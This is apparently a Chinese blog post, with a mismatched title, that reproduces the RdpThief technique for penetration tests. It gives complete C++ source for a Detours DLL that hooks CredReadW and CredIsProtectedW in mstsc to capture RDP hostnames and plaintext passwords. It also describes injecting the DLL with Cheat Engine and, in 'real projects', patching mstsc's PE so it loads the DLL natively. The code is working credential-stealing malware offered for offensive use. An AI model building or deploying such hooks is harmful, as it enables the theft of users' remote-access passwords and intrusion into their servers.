php 验证rdp密码,获取RDP连接中密码的方法

前言

渗透过程中,当发现RDP连接中有记录,但密码未保存,可通过HOOK方式截取明文密码,参考RdpThief,本文是一篇利用复现。

实践

系统

windows 7 32-

将API Monitor,附加选择mstsc进程,如图所示:

dfba13d57fee

监听RDP进程

RDP点击连接,并查看API Monitor列表

dfba13d57fee

RDP连接

如果未监听到,请在左侧API帅选器中勾选如图

dfba13d57fee

抓取RDP调用API过程

可以看到,连接IP出现在CredReadW的调用中,直接HOOK这个位置就可以获取连接IP,方法很多可以E语言实现比较简单,这里我们参考RdpThief源码,使用Detours

框架来实现HOOK。

dfba13d57fee

Detours目录

首先编译框架,利用VS自带工具VsDevCmd.bat,cd到Detours的src目录

使用nmake命令编译,并安装框架

dfba13d57fee

编译安装框架

dfba13d57fee

代码

这里直接使用MessageBoxW将HOOK的结果弹出,查看效果。

#include "stdafx.h"

#include

#include

#include

#include

#include

#include

#define SECURITY_WIN32

#include

#pragma comment(lib, "crypt32.lib")

#pragma comment(lib, "Advapi32.lib")

#pragma comment(lib, "Secur32.lib")

static BOOL(WINAPI *OriginalCredReadW)(LPCWSTR TargetName, DWORD Type, DWORD Flags, PCREDENTIALW *Credential) = CredReadW;

BOOL HookedCredReadW(LPCWSTR TargetName, DWORD Type, DWORD Flags, PCREDENTIALW *Credential)

{

MessageBoxW(NULL, TargetName,L"Hostname",0);

return OriginalCredReadW(TargetName, Type, Flags, Credential);

}

static BOOL(WINAPI *OriginalCredIsProtectedW)(LPWSTR pszProtectedCredentials, CRED_PROTECTION_TYPE *pProtectionType) = CredIsProtectedW;

BOOL HookedCredIsProtectedW(LPWSTR pszProtectedCredentials, CRED_PROTECTION_TYPE *pProtectionType)

{

MessageBoxW(NULL, pszProtectedCredentials, L"Password", 0);

return OriginalCredIsProtectedW(pszProtectedCredentials, pProtectionType);

}

BOOL APIENTRY DllMain(HMODULE hModule, DWORD dwReason, LPVOID lpReserved)

{

if (DetourIsHelperProcess()) {

return TRUE;

}

if (dwReason == DLL_PROCESS_ATTACH) {

DetourRestoreAfterWith();

DetourTransactionBegin();

DetourUpdateThread(GetCurrentThread());

DetourAttach(&(PVOID&)OriginalCredReadW, HookedCredReadW);

DetourAttach(&(PVOID&)OriginalCredIsProtectedW, HookedCredIsProtectedW);

DetourTransactionCommit();

}

else if (dwReason == DLL_PROCESS_DETACH) {

DetourTransactionBegin();

DetourUpdateThread(GetCurrentThread());

DetourDetach(&(PVOID&)OriginalCredReadW, HookedCredReadW);

DetourDetach(&(PVOID&)OriginalCredIsProtectedW, HookedCredIsProtectedW);

DetourTransactionCommit();

}

return TRUE;

}

这2个坑点,第1需要选择多线程编译模式,第2编译要用Release否则注入后程序会崩溃。

dfba13d57fee

多线程/MT

dfba13d57fee

Release

编译后,使用Cheat Engine将DLL注入mstsc进程,真实项目中,可通过PE修改方式直接使mstsc原生调用DLL。

dfba13d57fee

注入DLL

dfba13d57fee

获取服务器地址

dfba13d57fee

获取服务器密码

参考链接

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值